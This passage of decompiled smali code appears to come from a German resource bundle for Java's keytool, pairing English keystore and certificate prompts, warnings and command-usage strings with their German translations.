                                                                              918const-string v3, "Zertifikat in systemweiten CA-Keystore bereits unter Alias <{0}> vorhanden."
                                                                              919aput-object v3, v2, v5
                                                                              920aput-object v2, v0, v1
                                                                              921const/16 v1, 0x66
                                                                              922new-array v2, v6, [Ljava/lang/Object;
                                                                              924const-string v3, "Do you still want to add it to your own keystore? [no]: "
                                                                              925aput-object v3, v2, v4
                                                                              927const-string v3, "M\u00f6chten Sie es trotzdem zu Ihrem eigenen Keystore hinzuf\u00fcgen? [Nein]: "
                                                                              928aput-object v3, v2, v5
                                                                              929aput-object v2, v0, v1
                                                                              930const/16 v1, 0x67
                                                                              931new-array v2, v6, [Ljava/lang/Object;
                                                                              933const-string v3, "Trust this certificate? [no]: "
                                                                              934aput-object v3, v2, v4
                                                                              936const-string v3, "Diesem Zertifikat vertrauen? [Nein]: "
                                                                              937aput-object v3, v2, v5
                                                                              938aput-object v2, v0, v1
                                                                              939const/16 v1, 0x68
                                                                              940new-array v2, v6, [Ljava/lang/Object;
                                                                              942const-string v3, "YES"
                                                                              943aput-object v3, v2, v4
                                                                              945const-string v3, "JA"
                                                                              946aput-object v3, v2, v5
                                                                              947aput-object v2, v0, v1
                                                                              948const/16 v1, 0x69
                                                                              949new-array v2, v6, [Ljava/lang/Object;
                                                                              951const-string v3, "New prompt: "
                                                                              952aput-object v3, v2, v4
                                                                              954const-string v3, "Neues {0}: "
                                                                              955aput-object v3, v2, v5
                                                                              956aput-object v2, v0, v1
                                                                              957const/16 v1, 0x6a
                                                                              958new-array v2, v6, [Ljava/lang/Object;
                                                                              960const-string v3, "Passwords must differ"
                                                                              961aput-object v3, v2, v4
                                                                              963const-string v3, "Passw\u00f6rter m\u00fcssen sich unterscheiden"
                                                                              964aput-object v3, v2, v5
                                                                              965aput-object v2, v0, v1
                                                                              966const/16 v1, 0x6b
                                                                              967new-array v2, v6, [Ljava/lang/Object;
                                                                              969const-string v3, "Re-enter new prompt: "
                                                                              970aput-object v3, v2, v4
                                                                              972const-string v3, "Neues {0} nochmals eingeben: "
                                                                              973aput-object v3, v2, v5
                                                                              974aput-object v2, v0, v1
                                                                              975const/16 v1, 0x6c
                                                                              976new-array v2, v6, [Ljava/lang/Object;
                                                                              978const-string v3, "Re-enter new password: "
                                                                              979aput-object v3, v2, v4
                                                                              981const-string v3, "Geben Sie das Passwort erneut ein: "
                                                                              982aput-object v3, v2, v5
                                                                              983aput-object v2, v0, v1
                                                                              984const/16 v1, 0x6d
                                                                              985new-array v2, v6, [Ljava/lang/Object;
                                                                              987const-string v3, "They don\'t match. Try again"
                                                                              988aput-object v3, v2, v4
                                                                              990const-string v3, "Keine \u00dcbereinstimmung. Versuchen Sie es erneut."
                                                                              991aput-object v3, v2, v5
                                                                              992aput-object v2, v0, v1
                                                                              993const/16 v1, 0x6e
                                                                              994new-array v2, v6, [Ljava/lang/Object;
                                                                              996const-string v3, "Enter prompt alias name: "
                                                                              997aput-object v3, v2, v4
                                                                              999const-string v3, "Geben Sie den Aliasnamen von {0} ein: "
                                                                              1000aput-object v3, v2, v5
                                                                              1001aput-object v2, v0, v1
                                                                              1002const/16 v1, 0x6f
                                                                              1003new-array v2, v6, [Ljava/lang/Object;
                                                                              1005const-string v3, "Enter new alias name\t(RETURN to cancel import for this entry): "
                                                                              1006aput-object v3, v2, v4
                                                                              1008const-string v3, "Geben Sie einen neuen Alias-Namen ein.\t(Dr\u00fccken Sie die Eingabetaste, um das Importieren dieses Eintrags abzubrechen.): "
                                                                              1009aput-object v3, v2, v5
                                                                              1010aput-object v2, v0, v1
                                                                              1011const/16 v1, 0x70
                                                                              1012new-array v2, v6, [Ljava/lang/Object;
                                                                              1014const-string v3, "Enter alias name: "
                                                                              1015aput-object v3, v2, v4
                                                                              1017const-string v3, "Geben Sie den Aliasnamen ein: "
                                                                              1018aput-object v3, v2, v5
                                                                              1019aput-object v2, v0, v1
                                                                              1020const/16 v1, 0x71
                                                                              1021new-array v2, v6, [Ljava/lang/Object;
                                                                              1023const-string v3, "\t(RETURN if same as for <otherAlias>)"
                                                                              1024aput-object v3, v2, v4
                                                                              1026const-string v3, "\t(EINGABETASTE, wenn selber Name wie f\u00fcr <{0}>)"
                                                                              1027aput-object v3, v2, v5
                                                                              1028aput-object v2, v0, v1
                                                                              1029const/16 v1, 0x72
                                                                              1030new-array v2, v6, [Ljava/lang/Object;
                                                                              1032const-string v3, "*PATTERN* printX509Cert"
                                                                              1033aput-object v3, v2, v4
                                                                              1035const-string v3, "Eigner: {0}\nAussteller: {1}\nSeriennummer: {2}\nG\u00fcltig von: {3} bis: {4}\nDigitaler Fingerabdruck des Zertifikats:\n\t MD5: {5}\n\t SHA1: {6}\n\t Unterschrift-Algorithmusname: {7}\n\t Version: {8}"
                                                                              1036aput-object v3, v2, v5
                                                                              1037aput-object v2, v0, v1
                                                                              1038const/16 v1, 0x73
                                                                              1039new-array v2, v6, [Ljava/lang/Object;
                                                                              1041const-string v3, "What is your first and last name?"
                                                                              1042aput-object v3, v2, v4
                                                                              1044const-string v3, "Wie lautet Ihr Vor- und Nachname?"
                                                                              1045aput-object v3, v2, v5
                                                                              1046aput-object v2, v0, v1
                                                                              1047const/16 v1, 0x74
                                                                              1048new-array v2, v6, [Ljava/lang/Object;
                                                                              1050const-string v3, "What is the name of your organizational unit?"
                                                                              1051aput-object v3, v2, v4
                                                                              1053const-string v3, "Wie lautet der Name Ihrer organisatorischen Einheit?"
                                                                              1054aput-object v3, v2, v5
                                                                              1055aput-object v2, v0, v1
                                                                              1056const/16 v1, 0x75
                                                                              1057new-array v2, v6, [Ljava/lang/Object;
                                                                              1059const-string v3, "What is the name of your organization?"
                                                                              1060aput-object v3, v2, v4
                                                                              1062const-string v3, "Wie lautet der Name Ihrer Organisation?"
                                                                              1063aput-object v3, v2, v5
                                                                              1064aput-object v2, v0, v1
                                                                              1065const/16 v1, 0x76
                                                                              1066new-array v2, v6, [Ljava/lang/Object;
                                                                              1068const-string v3, "What is the name of your City or Locality?"
                                                                              1069aput-object v3, v2, v4
                                                                              1071const-string v3, "Wie lautet der Name Ihrer Stadt oder Gemeinde?"
                                                                              1072aput-object v3, v2, v5
                                                                              1073aput-object v2, v0, v1
                                                                              1074const/16 v1, 0x77
                                                                              1075new-array v2, v6, [Ljava/lang/Object;
                                                                              1077const-string v3, "What is the name of your State or Province?"
                                                                              1078aput-object v3, v2, v4
                                                                              1080const-string v3, "Wie lautet der Name Ihres Bundeslandes oder Ihrer Provinz?"
                                                                              1081aput-object v3, v2, v5
                                                                              1082aput-object v2, v0, v1
                                                                              1083const/16 v1, 0x78
                                                                              1084new-array v2, v6, [Ljava/lang/Object;
                                                                              1086const-string v3, "What is the two-letter country code for this unit?"
                                                                              1087aput-object v3, v2, v4
                                                                              1089const-string v3, "Wie lautet der Landescode (zwei Buchstaben) f\u00fcr diese Einheit?"
                                                                              1090aput-object v3, v2, v5
                                                                              1091aput-object v2, v0, v1
                                                                              1092const/16 v1, 0x79
                                                                              1093new-array v2, v6, [Ljava/lang/Object;
                                                                              1095const-string v3, "Is <name> correct?"
                                                                              1096aput-object v3, v2, v4
                                                                              1098const-string v3, "Ist {0} richtig?"
                                                                              1099aput-object v3, v2, v5
                                                                              1100aput-object v2, v0, v1
                                                                              1101const/16 v1, 0x7a
                                                                              1102new-array v2, v6, [Ljava/lang/Object;
                                                                              1104const-string v3, "no"
                                                                              1105aput-object v3, v2, v4
                                                                              1107const-string v3, "Nein"
                                                                              1108aput-object v3, v2, v5
                                                                              1109aput-object v2, v0, v1
                                                                              1110const/16 v1, 0x7b
                                                                              1111new-array v2, v6, [Ljava/lang/Object;
                                                                              1113const-string v3, "yes"
                                                                              1114aput-object v3, v2, v4
                                                                              1116const-string v3, "Ja"
                                                                              1117aput-object v3, v2, v5
                                                                              1118aput-object v2, v0, v1
                                                                              1119const/16 v1, 0x7c
                                                                              1120new-array v2, v6, [Ljava/lang/Object;
                                                                              1122const-string v3, "y"
                                                                              1123aput-object v3, v2, v4
                                                                              1125const-string v3, "J"
                                                                              1126aput-object v3, v2, v5
                                                                              1127aput-object v2, v0, v1
                                                                              1128const/16 v1, 0x7d
                                                                              1129new-array v2, v6, [Ljava/lang/Object;
                                                                              1131const-string v3, " [defaultValue]: "
                                                                              1132aput-object v3, v2, v4
                                                                              1134const-string v3, " [{0}]: "
                                                                              1135aput-object v3, v2, v5
                                                                              1136aput-object v2, v0, v1
                                                                              1137const/16 v1, 0x7e
                                                                              1138new-array v2, v6, [Ljava/lang/Object;
                                                                              1140const-string v3, "Alias <alias> has no key"
                                                                              1141aput-object v3, v2, v4
                                                                              1143const-string v3, "Alias <{0}> verf\u00fcgt \u00fcber keinen Schl\u00fcssel"
                                                                              1144aput-object v3, v2, v5
                                                                              1145aput-object v2, v0, v1
                                                                              1146const/16 v1, 0x7f
                                                                              1147new-array v2, v6, [Ljava/lang/Object;
                                                                              1149const-string v3, "Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries"
                                                                              1150aput-object v3, v2, v4
                                                                              1152const-string v3, "Alias <{0}> verweist auf einen Eintragstyp, der nicht einem Eintrag f\u00fcr einen privaten Schl\u00fcssel entspricht. Der Befehl -keyclone unterst\u00fctzt nur das Klonen von privaten Schl\u00fcsseleintr\u00e4gen"
                                                                              1153aput-object v3, v2, v5
                                                                              1154aput-object v2, v0, v1
                                                                              1155const/16 v1, 0x80
                                                                              1156new-array v2, v6, [Ljava/lang/Object;
                                                                              1158const-string v3, "***************** WARNING WARNING WARNING *****************"
                                                                              1159aput-object v3, v2, v4
                                                                              1161const-string v3, "***************** WARNUNG WARNUNG WARNUNG *****************"
                                                                              1162aput-object v3, v2, v5
                                                                              1163aput-object v2, v0, v1
                                                                              1164const/16 v1, 0x81
                                                                              1165new-array v2, v6, [Ljava/lang/Object;
                                                                              1167const-string v3, "* The integrity of the information stored in your keystore *"
                                                                              1168aput-object v3, v2, v4
                                                                              1170const-string v3, "* Die Integrit\u00e4t der in Ihrem Keystore gespeicherten Informationen *"
                                                                              1171aput-object v3, v2, v5
                                                                              1172aput-object v2, v0, v1
                                                                              1173const/16 v1, 0x82
                                                                              1174new-array v2, v6, [Ljava/lang/Object;
                                                                              1176const-string v3, "* The integrity of the information stored in the srckeystore*"
                                                                              1177aput-object v3, v2, v4
                                                                              1179const-string v3, "* Die Integrit\u00e4t der in srckeystore gespeicherten Informationen*"
                                                                              1180aput-object v3, v2, v5
                                                                              1181aput-object v2, v0, v1
                                                                              1182const/16 v1, 0x83
                                                                              1183new-array v2, v6, [Ljava/lang/Object;
                                                                              1185const-string v3, "* has NOT been verified! In order to verify its integrity, *"
                                                                              1186aput-object v3, v2, v4
                                                                              1188const-string v3, "* ist NICHT verifiziert worden! Damit die Integrit\u00e4t verifiziert werden kann, *"
                                                                              1189aput-object v3, v2, v5
                                                                              1190aput-object v2, v0, v1
                                                                              1191const/16 v1, 0x84
                                                                              1192new-array v2, v6, [Ljava/lang/Object;
                                                                              1194const-string v3, "* you must provide your keystore password. *"
                                                                              1195aput-object v3, v2, v4
                                                                              1197const-string v3, "* m\u00fcssen Sie Ihr Keystore-Passwort eingeben. *"
                                                                              1198aput-object v3, v2, v5
                                                                              1199aput-object v2, v0, v1
                                                                              1200const/16 v1, 0x85
                                                                              1201new-array v2, v6, [Ljava/lang/Object;
                                                                              1203const-string v3, "* you must provide the srckeystore password. *"
                                                                              1204aput-object v3, v2, v4
                                                                              1206const-string v3, "* Sie m\u00fcssen das Passwort f\u00fcr srckeystore angeben. *"
                                                                              1207aput-object v3, v2, v5
                                                                              1208aput-object v2, v0, v1
                                                                              1209const/16 v1, 0x86
                                                                              1210new-array v2, v6, [Ljava/lang/Object;
                                                                              1212const-string v3, "Certificate reply does not contain public key for <alias>"
                                                                              1213aput-object v3, v2, v4
                                                                              1215const-string v3, "Zertifikatantwort enth\u00e4lt keinen \u00f6ffentlichen Schl\u00fcssel f\u00fcr <{0}>."
                                                                              1216aput-object v3, v2, v5
                                                                              1217aput-object v2, v0, v1
                                                                              1218const/16 v1, 0x87
                                                                              1219new-array v2, v6, [Ljava/lang/Object;
                                                                              1221const-string v3, "Incomplete certificate chain in reply"
                                                                              1222aput-object v3, v2, v4
                                                                              1224const-string v3, "Unvollst\u00e4ndige Zertifikatskette in Antwort"
                                                                              1225aput-object v3, v2, v5
                                                                              1226aput-object v2, v0, v1
                                                                              1227const/16 v1, 0x88
                                                                              1228new-array v2, v6, [Ljava/lang/Object;
                                                                              1230const-string v3, "Certificate chain in reply does not verify: "
                                                                              1231aput-object v3, v2, v4
                                                                              1233const-string v3, "Zertifikatskette in Antwort verifiziert nicht: "
                                                                              1234aput-object v3, v2, v5
                                                                              1235aput-object v2, v0, v1
                                                                              1236const/16 v1, 0x89
                                                                              1237new-array v2, v6, [Ljava/lang/Object;
                                                                              1239const-string v3, "Top-level certificate in reply:\n"
                                                                              1240aput-object v3, v2, v4
                                                                              1242const-string v3, "Toplevel-Zertifikat in Antwort:\n"
                                                                              1243aput-object v3, v2, v5
                                                                              1244aput-object v2, v0, v1
                                                                              1245const/16 v1, 0x8a
                                                                              1246new-array v2, v6, [Ljava/lang/Object;
                                                                              1248const-string v3, "... is not trusted. "
                                                                              1249aput-object v3, v2, v4
                                                                              1251const-string v3, "... wird nicht vertraut. "
                                                                              1252aput-object v3, v2, v5
                                                                              1253aput-object v2, v0, v1
                                                                              1254const/16 v1, 0x8b
                                                                              1255new-array v2, v6, [Ljava/lang/Object;
                                                                              1257const-string v3, "Install reply anyway? [no]: "
                                                                              1258aput-object v3, v2, v4
                                                                              1260const-string v3, "Antwort trotzdem installieren? [Nein]: "
                                                                              1261aput-object v3, v2, v5
                                                                              1262aput-object v2, v0, v1
                                                                              1263const/16 v1, 0x8c
                                                                              1264new-array v2, v6, [Ljava/lang/Object;
                                                                              1266const-string v3, "NO"
                                                                              1267aput-object v3, v2, v4
                                                                              1269const-string v3, "NEIN"
                                                                              1270aput-object v3, v2, v5
                                                                              1271aput-object v2, v0, v1
                                                                              1272const/16 v1, 0x8d
                                                                              1273new-array v2, v6, [Ljava/lang/Object;
                                                                              1275const-string v3, "Public keys in reply and keystore don\'t match"
                                                                              1276aput-object v3, v2, v4
                                                                              1278const-string v3, "\u00d6ffentliche Schl\u00fcssel in Antwort und Keystore stimmen nicht \u00fcberein."
                                                                              1279aput-object v3, v2, v5
                                                                              1280aput-object v2, v0, v1
                                                                              1281const/16 v1, 0x8e
                                                                              1282new-array v2, v6, [Ljava/lang/Object;
                                                                              1284const-string v3, "Certificate reply and certificate in keystore are identical"
                                                                              1285aput-object v3, v2, v4
                                                                              1287const-string v3, "Zertifikatantwort und Zertifikat in Keystore sind identisch."
                                                                              1288aput-object v3, v2, v5
                                                                              1289aput-object v2, v0, v1
                                                                              1290const/16 v1, 0x8f
                                                                              1291new-array v2, v6, [Ljava/lang/Object;
                                                                              1293const-string v3, "Failed to establish chain from reply"
                                                                              1294aput-object v3, v2, v4
                                                                              1296const-string v3, "Kette konnte nicht aus Antwort entnommen werden."
                                                                              1297aput-object v3, v2, v5
                                                                              1298aput-object v2, v0, v1
                                                                              1299const/16 v1, 0x90
                                                                              1300new-array v2, v6, [Ljava/lang/Object;
                                                                              1302const-string v3, "n"
                                                                              1303aput-object v3, v2, v4
                                                                              1305const-string v3, "N"
                                                                              1306aput-object v3, v2, v5
                                                                              1307aput-object v2, v0, v1
                                                                              1308const/16 v1, 0x91
                                                                              1309new-array v2, v6, [Ljava/lang/Object;
                                                                              1311const-string v3, "Wrong answer, try again"
                                                                              1312aput-object v3, v2, v4
                                                                              1314const-string v3, "Falsche Antwort, versuchen Sie es noch einmal."
                                                                              1315aput-object v3, v2, v5
                                                                              1316aput-object v2, v0, v1
                                                                              1317const/16 v1, 0x92
                                                                              1318new-array v2, v6, [Ljava/lang/Object;
                                                                              1320const-string v3, "Secret key not generated, alias <alias> already exists"
                                                                              1321aput-object v3, v2, v4
                                                                              1323const-string v3, "Geheimschl\u00fcssel wurde nicht erstellt, Alias <{0}> bereits vorhanden"
                                                                              1324aput-object v3, v2, v5
                                                                              1325aput-object v2, v0, v1
                                                                              1326const/16 v1, 0x93
                                                                              1327new-array v2, v6, [Ljava/lang/Object;
                                                                              1329const-string v3, "Please provide -keysize for secret key generation"
                                                                              1330aput-object v3, v2, v4
                                                                              1332const-string v3, "Geben Sie -keysize zum Erstellen eines Geheimschl\u00fcssels an"
                                                                              1333aput-object v3, v2, v5
                                                                              1334aput-object v2, v0, v1
                                                                              1335const/16 v1, 0x94
                                                                              1336new-array v2, v6, [Ljava/lang/Object;
                                                                              1338const-string v3, "keytool usage:\n"
                                                                              1339aput-object v3, v2, v4
                                                                              1341const-string v3, "Keytool-Syntax:\n"
                                                                              1342aput-object v3, v2, v5
                                                                              1343aput-object v2, v0, v1
                                                                              1344const/16 v1, 0x95
                                                                              1345new-array v2, v6, [Ljava/lang/Object;
                                                                              1347const-string v3, "Extensions: "
                                                                              1348aput-object v3, v2, v4
                                                                              1350const-string v3, "Erweiterungen: "
                                                                              1351aput-object v3, v2, v5
                                                                              1352aput-object v2, v0, v1
                                                                              1353const/16 v1, 0x96
                                                                              1354new-array v2, v6, [Ljava/lang/Object;
                                                                              1356const-string v3, "-certreq [-v] [-protected]"
                                                                              1357aput-object v3, v2, v4
                                                                              1359const-string v3, "-certreq [-v] [-protected]"
                                                                              1360aput-object v3, v2, v5
                                                                              1361aput-object v2, v0, v1
                                                                              1362const/16 v1, 0x97
                                                                              1363new-array v2, v6, [Ljava/lang/Object;
                                                                              1365const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1366aput-object v3, v2, v4
                                                                              1368const-string v3, "\t [-alias <Alias>] [-sigalg <Sigalg>]"
                                                                              1369aput-object v3, v2, v5
                                                                              1370aput-object v2, v0, v1
                                                                              1371const/16 v1, 0x98
                                                                              1372new-array v2, v6, [Ljava/lang/Object;
                                                                              1374const-string v3, "\t [-file <csr_file>] [-keypass <keypass>]"
                                                                              1375aput-object v3, v2, v4
                                                                              1377const-string v3, "\t [-file <csr_Datei>] [-keypass <Keypass>]"
                                                                              1378aput-object v3, v2, v5
                                                                              1379aput-object v2, v0, v1
                                                                              1380const/16 v1, 0x99
                                                                              1381new-array v2, v6, [Ljava/lang/Object;
                                                                              1383const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1384aput-object v3, v2, v4
                                                                              1386const-string v3, "\t [-keystore <Keystore>] [-storepass <Storepass>]"
                                                                              1387aput-object v3, v2, v5
                                                                              1388aput-object v2, v0, v1
                                                                              1389const/16 v1, 0x9a
                                                                              1390new-array v2, v6, [Ljava/lang/Object;
                                                                              1392const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1393aput-object v3, v2, v4
                                                                              1395const-string v3, "\t [-storetype <Speichertyp>] [-providername <Name>]"
                                                                              1396aput-object v3, v2, v5
                                                                              1397aput-object v2, v0, v1
                                                                              1398const/16 v1, 0x9b
                                                                              1399new-array v2, v6, [Ljava/lang/Object;
                                                                              1401const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1402aput-object v3, v2, v4
                                                                              1404const-string v3, "\t [-providerclass <Name der Providerklasse> [-providerarg <Argument>]] ..."
                                                                              1405aput-object v3, v2, v5
                                                                              1406aput-object v2, v0, v1
                                                                              1407const/16 v1, 0x9c
                                                                              1408new-array v2, v6, [Ljava/lang/Object;
                                                                              1410const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1411aput-object v3, v2, v4
                                                                              1413const-string v3, "\t [-providerpath <Pfadliste>]"
                                                                              1414aput-object v3, v2, v5
                                                                              1415aput-object v2, v0, v1
                                                                              1416const/16 v1, 0x9d
                                                                              1417new-array v2, v6, [Ljava/lang/Object;
                                                                              1419const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1420aput-object v3, v2, v4
                                                                              1422const-string v3, "-delete [-v] [-protected] -alias <Alias>"
                                                                              1423aput-object v3, v2, v5
                                                                              1424aput-object v2, v0, v1
                                                                              1425const/16 v1, 0x9e
                                                                              1426new-array v2, v6, [Ljava/lang/Object;
                                                                              1428const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1429aput-object v3, v2, v4
                                                                              1431const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1432aput-object v3, v2, v5
                                                                              1433aput-object v2, v0, v1
                                                                              1434const/16 v1, 0x9f
                                                                              1435new-array v2, v6, [Ljava/lang/Object;
                                                                              1437const-string v3, "\t [-alias <alias>] [-file <cert_file>]"
                                                                              1438aput-object v3, v2, v4
                                                                              1440const-string v3, "\t [-alias <Alias>] [-file <Zert_datei>]"
                                                                              1441aput-object v3, v2, v5
                                                                              1442aput-object v2, v0, v1
                                                                              1443const/16 v1, 0xa0
                                                                              1444new-array v2, v6, [Ljava/lang/Object;
                                                                              1446const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1447aput-object v3, v2, v4
                                                                              1449const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1450aput-object v3, v2, v5
                                                                              1451aput-object v2, v0, v1
                                                                              1452const/16 v1, 0xa1
                                                                              1453new-array v2, v6, [Ljava/lang/Object;
                                                                              1455const-string v3, "\t [-alias <alias>]"
                                                                              1456aput-object v3, v2, v4
                                                                              1458const-string v3, "\t [-alias <Alias>]"
                                                                              1459aput-object v3, v2, v5
                                                                              1460aput-object v2, v0, v1
                                                                              1461const/16 v1, 0xa2
                                                                              1462new-array v2, v6, [Ljava/lang/Object;
                                                                              1464const-string v3, "\t [-keyalg <keyalg>] [-keysize <keysize>]"
                                                                              1465aput-object v3, v2, v4
                                                                              1467const-string v3, "\t [-keyalg <Schl\u00fcssel-Alg>] [-keysize <Schl\u00fcsselgr\u00f6\u00dfe>]"
                                                                              1468aput-object v3, v2, v5
                                                                              1469aput-object v2, v0, v1
                                                                              1470const/16 v1, 0xa3
                                                                              1471new-array v2, v6, [Ljava/lang/Object;
                                                                              1473const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1474aput-object v3, v2, v4
                                                                              1476const-string v3, "\t [-sigalg <Signal-Alg>] [-dname <Dname>]"
                                                                              1477aput-object v3, v2, v5
                                                                              1478aput-object v2, v0, v1
                                                                              1479const/16 v1, 0xa4
                                                                              1480new-array v2, v6, [Ljava/lang/Object;
                                                                              1482const-string v3, "\t [-validity <valDays>] [-keypass <keypass>]"
                                                                              1483aput-object v3, v2, v4
                                                                              1485const-string v3, "\t [-validity <G\u00fcltigkeitTage>] [-keypass <Schl\u00fcsselpass>]"
                                                                              1486aput-object v3, v2, v5
                                                                              1487aput-object v2, v0, v1
                                                                              1488const/16 v1, 0xa5
                                                                              1489new-array v2, v6, [Ljava/lang/Object;
                                                                              1491const-string v3, "-genseckey [-v] [-protected]"
                                                                              1492aput-object v3, v2, v4
                                                                              1494const-string v3, "-genseckey [-v] [-protected]"
                                                                              1495aput-object v3, v2, v5
                                                                              1496aput-object v2, v0, v1
                                                                              1497const/16 v1, 0xa6
                                                                              1498new-array v2, v6, [Ljava/lang/Object;
                                                                              1500const-string v3, "-help"
                                                                              1501aput-object v3, v2, v4
                                                                              1503const-string v3, "-help"
                                                                              1504aput-object v3, v2, v5
                                                                              1505aput-object v2, v0, v1
                                                                              1506const/16 v1, 0xa7
                                                                              1507new-array v2, v6, [Ljava/lang/Object;
                                                                              1509const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1510aput-object v3, v2, v4
                                                                              1512const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1513aput-object v3, v2, v5
                                                                              1514aput-object v2, v0, v1
                                                                              1515const/16 v1, 0xa8
                                                                              1516new-array v2, v6, [Ljava/lang/Object;
                                                                              1518const-string v3, "\t [-alias <alias>]"
                                                                              1519aput-object v3, v2, v4
                                                                              1521const-string v3, "\t [-alias <Alias>]"
                                                                              1522aput-object v3, v2, v5
                                                                              1523aput-object v2, v0, v1
                                                                              1524const/16 v1, 0xa9
                                                                              1525new-array v2, v6, [Ljava/lang/Object;
                                                                              1527const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1528aput-object v3, v2, v4
                                                                              1530const-string v3, "\t [-alias <Alias>] [-keypass <Keypass>]"
                                                                              1531aput-object v3, v2, v5
                                                                              1532aput-object v2, v0, v1
                                                                              1533const/16 v1, 0xaa
                                                                              1534new-array v2, v6, [Ljava/lang/Object;
                                                                              1536const-string v3, "\t [-file <cert_file>] [-keypass <keypass>]"
                                                                              1537aput-object v3, v2, v4
                                                                              1539const-string v3, "\t [-file <Zert_Datei>] [-keypass <Schl\u00fcsselpass>]"
                                                                              1540aput-object v3, v2, v5
                                                                              1541aput-object v2, v0, v1
                                                                              1542const/16 v1, 0xab
                                                                              1543new-array v2, v6, [Ljava/lang/Object;
                                                                              1545const-string v3, "-importkeystore [-v] "
                                                                              1546aput-object v3, v2, v4
                                                                              1548const-string v3, "-importkeystore [-v] "
                                                                              1549aput-object v3, v2, v5
                                                                              1550aput-object v2, v0, v1
                                                                              1551const/16 v1, 0xac
                                                                              1552new-array v2, v6, [Ljava/lang/Object;
                                                                              1554const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1555aput-object v3, v2, v4
                                                                              1557const-string v3, "\t [-srckeystore <Quell-Keystore>] [-destkeystore <Ziel-Keystore>]"
                                                                              1558aput-object v3, v2, v5
                                                                              1559aput-object v2, v0, v1
                                                                              1560const/16 v1, 0xad
                                                                              1561new-array v2, v6, [Ljava/lang/Object;
                                                                              1563const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1564aput-object v3, v2, v4
                                                                              1566const-string v3, "\t [-srcstoretype <Typ des Quell-Keystore>] [-deststoretype <Typ des Ziel-Keystore>]"
                                                                              1567aput-object v3, v2, v5
                                                                              1568aput-object v2, v0, v1
                                                                              1569const/16 v1, 0xae
                                                                              1570new-array v2, v6, [Ljava/lang/Object;
                                                                              1572const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1573aput-object v3, v2, v4
                                                                              1575const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1576aput-object v3, v2, v5
                                                                              1577aput-object v2, v0, v1
                                                                              1578const/16 v1, 0xaf
                                                                              1579new-array v2, v6, [Ljava/lang/Object;
                                                                              1581const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1582aput-object v3, v2, v4
                                                                              1584const-string v3, "\t [-srcstorepass <Passwort f\u00fcr Quell-Keystore>] [-deststorepass <Passwort f\u00fcr Ziel-Keystore>]"
                                                                              1585aput-object v3, v2, v5
                                                                              1586aput-object v2, v0, v1
                                                                              1587const/16 v1, 0xb0
                                                                              1588new-array v2, v6, [Ljava/lang/Object;
                                                                              1590const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1591aput-object v3, v2, v4
                                                                              1593const-string v3, "\t [-srcprovidername <Name des Quell-Providers>]\n\t [-destprovidername <Name des Ziel-Providers>]"
                                                                              1594aput-object v3, v2, v5
                                                                              1595aput-object v2, v0, v1
                                                                              1596const/16 v1, 0xb1
                                                                              1597new-array v2, v6, [Ljava/lang/Object;
                                                                              1599const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1600aput-object v3, v2, v4
                                                                              1602const-string v3, "\t [-srcalias <Quell-Alias> [-destalias <Ziel-Alias>]"
                                                                              1603aput-object v3, v2, v5
                                                                              1604aput-object v2, v0, v1
                                                                              1605const/16 v1, 0xb2
                                                                              1606new-array v2, v6, [Ljava/lang/Object;
                                                                              1608const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1609aput-object v3, v2, v4
                                                                              1611const-string v3, "\t [-srckeypass <Passwort f\u00fcr Quell-Keystore>] [-destkeypass <Passwort f\u00fcr Ziel-Keystore>]]"
                                                                              1612aput-object v3, v2, v5
                                                                              1613aput-object v2, v0, v1
                                                                              1614const/16 v1, 0xb3
                                                                              1615new-array v2, v6, [Ljava/lang/Object;
                                                                              1617const-string v3, "\t [-noprompt]"
                                                                              1618aput-object v3, v2, v4
                                                                              1620const-string v3, "\t [-noprompt]"
                                                                              1621aput-object v3, v2, v5
                                                                              1622aput-object v2, v0, v1
                                                                              1623const/16 v1, 0xb4
                                                                              1624new-array v2, v6, [Ljava/lang/Object;
                                                                              1626const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1627aput-object v3, v2, v4
                                                                              1629const-string v3, "-changealias [-v] [-protected] -alias <Alias> -destalias <Ziel-Alias>"
                                                                              1630aput-object v3, v2, v5
                                                                              1631aput-object v2, v0, v1
                                                                              1632const/16 v1, 0xb5
                                                                              1633new-array v2, v6, [Ljava/lang/Object;
                                                                              1635const-string v3, "\t [-keypass <keypass>]"
                                                                              1636aput-object v3, v2, v4
                                                                              1638const-string v3, "\t [-keypass <Keypass>]"
                                                                              1639aput-object v3, v2, v5
                                                                              1640aput-object v2, v0, v1
                                                                              1641const/16 v1, 0xb6
                                                                              1642new-array v2, v6, [Ljava/lang/Object;
                                                                              1644const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1645aput-object v3, v2, v4
                                                                              1647const-string v3, "-keypasswd [-v] [-alias <Alias>]"
                                                                              1648aput-object v3, v2, v5
                                                                              1649aput-object v2, v0, v1
                                                                              1650const/16 v1, 0xb7
                                                                              1651new-array v2, v6, [Ljava/lang/Object;
                                                                              1653const-string v3, "\t [-keypass <old_keypass>] [-new <new_keypass>]"
